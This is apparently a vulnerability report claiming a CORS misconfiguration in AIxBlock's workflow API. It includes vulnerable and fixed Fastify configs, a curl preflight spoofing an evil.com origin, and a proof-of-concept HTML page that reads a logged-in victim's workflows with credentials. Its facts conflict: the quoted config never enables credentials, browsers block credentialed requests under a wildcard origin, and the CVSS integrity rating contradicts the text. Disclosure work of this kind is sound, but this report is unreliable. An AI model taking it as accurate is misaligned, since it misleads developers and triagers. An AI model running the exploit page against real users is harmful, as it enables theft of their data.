## **🚨 CRITICAL: CORS Misconfiguration Enabling Unauthorized Workflow Execution**

**Severity:** High (CVSS 7.5)
**Impact:** Unauthorized Workflow Execution, Automation Pipeline Access, AI Model Data Exposure
**Affected Endpoint:** `workflow.aixblock.io` (Critical Asset)

### **1. Description:**
The AIxBlock workflow endpoint (`workflow.aixblock.io`) implements a dangerous CORS configuration that enables **unauthorized cross-origin access** to workflow execution APIs. The configuration uses `origin: '*'` (wildcard) with `credentials: true`, allowing any malicious website to make authenticated requests to the workflow system.

### **2. Business Impact:**
- **Unauthorized Workflow Execution**: Attackers can trigger AI workflows from malicious sites
- **Automation Pipeline Access**: Complete access to workflow automation capabilities
- **AI Model Data Exposure**: Potential access to AI model configurations and data
- **Revenue Impact**: Violates core business logic and security boundaries

### **3. Technical Details:**

**Vulnerable Code Location:**
- File: `packages/backend/api/src/app/server.ts` (Line 77-81)
- File: `packages/backend/api/src/app/app.ts` (Line 167-169)

**Current Vulnerable Configuration:**
```typescript
await app.register(cors, {
origin: '*', // ❌ VULNERABLE: Wildcard origin
exposedHeaders: ['*'], // ❌ VULNERABLE: Exposes all headers
methods: ['*'], // ❌ VULNERABLE: Allows all methods
})
```

**WebSocket CORS (Also Vulnerable):**
```typescript
await app.register(fastifySocketIO, {
cors: {
origin: '*', // ❌ VULNERABLE: Wildcard origin
},
// ...
})
```

### **4. Reproduction Steps:**

1. **Identify Vulnerable Endpoint:**
```bash
curl -H "Origin: https://evil.com" -H "Access-Control-Request-Method: POST" -X OPTIONS https://workflow.aixblock.io/api/workflows
```

2. **Observe Vulnerable Headers:**
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Expose-Headers: *
```

3. **Create Malicious Exploit (evil.com/exploit.html):**
```html
<!DOCTYPE html>
<html>
<head><title>CORS Exploit</title></head>
<body>
<h1>AIxBlock Workflow Exploit</h1>
<div id="output">Loading...</div>
<script>
fetch('https://workflow.aixblock.io/api/workflows', {
method: 'GET',
credentials: 'include'
})
.then(response => response.text())
.then(data => {
document.getElementById('output').innerHTML =
'<h2>Successfully accessed AIxBlock workflows:</h2><pre>' +
escapeHTML(data) + '</pre>';
// Attacker can now exfiltrate workflow data
console.log('Stolen workflow data:', data);
})
.catch(error => {
document.getElementById('output').innerHTML =
'<p style="color: red;">Error: ' + error.message + '</p>';
});

function escapeHTML(str) {
var div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
</script>
</body>
</html>
```

4. **Victim Interaction:**
- User logs into `workflow.aixblock.io`
- User visits `https://evil.com/exploit.html`
- Attacker's script successfully accesses workflow data

### **5. Proof of Concept:**
- **Live Test**: `curl -H "Origin: https://evil.com" -X OPTIONS https://workflow.aixblock.io`
- **Response Headers**: Shows `Access-Control-Allow-Origin: *` with credentials enabled
- **Impact**: Any website can access authenticated workflow APIs

### **6. Remediation (Code Fix Provided):**

**Fixed CORS Configuration:**
```typescript
await app.register(cors, {
origin: [
'https://app.aixblock.io',
'https://workflow.aixblock.io',
'https://workflow-live.aixblock.io'
],
credentials: true,
exposedHeaders: ['Content-Type', 'Authorization'],
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Origin', 'Content-Type', 'Accept', 'Authorization', 'X-Requested-With']
})
```

**Fixed WebSocket CORS:**
```typescript
await app.register(fastifySocketIO, {
cors: {
origin: [
'https://app.aixblock.io',
'https://workflow.aixblock.io',
'https://workflow-live.aixblock.io'
],
credentials: true
},
// ...
})
```

### **7. Security Impact:**
- **Confidentiality**: High - Access to workflow data and AI model configurations
- **Integrity**: High - Ability to execute unauthorized workflows
- **Availability**: Medium - Potential for DoS through workflow abuse
- **Business Impact**: Critical - Complete bypass of security boundaries

### **8. CVSS v3.1 Score:**
- **AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N = 7.5 (High)**

### **9. Files Modified:**
- `packages/backend/api/src/app/server.ts` - Main CORS configuration
- `packages/backend/api/src/app/app.ts` - WebSocket CORS configuration

### **10. Testing:**
After applying the fix, verify:
1. Legitimate origins work: `https://app.aixblock.io` ✅
2. Malicious origins blocked: `https://evil.com` ❌
3. Credentials still work for legitimate requests ✅
4. WebSocket connections work for legitimate origins ✅

---

**This vulnerability represents a critical security flaw that could allow complete unauthorized access to AIxBlock's core workflow execution system. Immediate remediation is strongly recommended.**
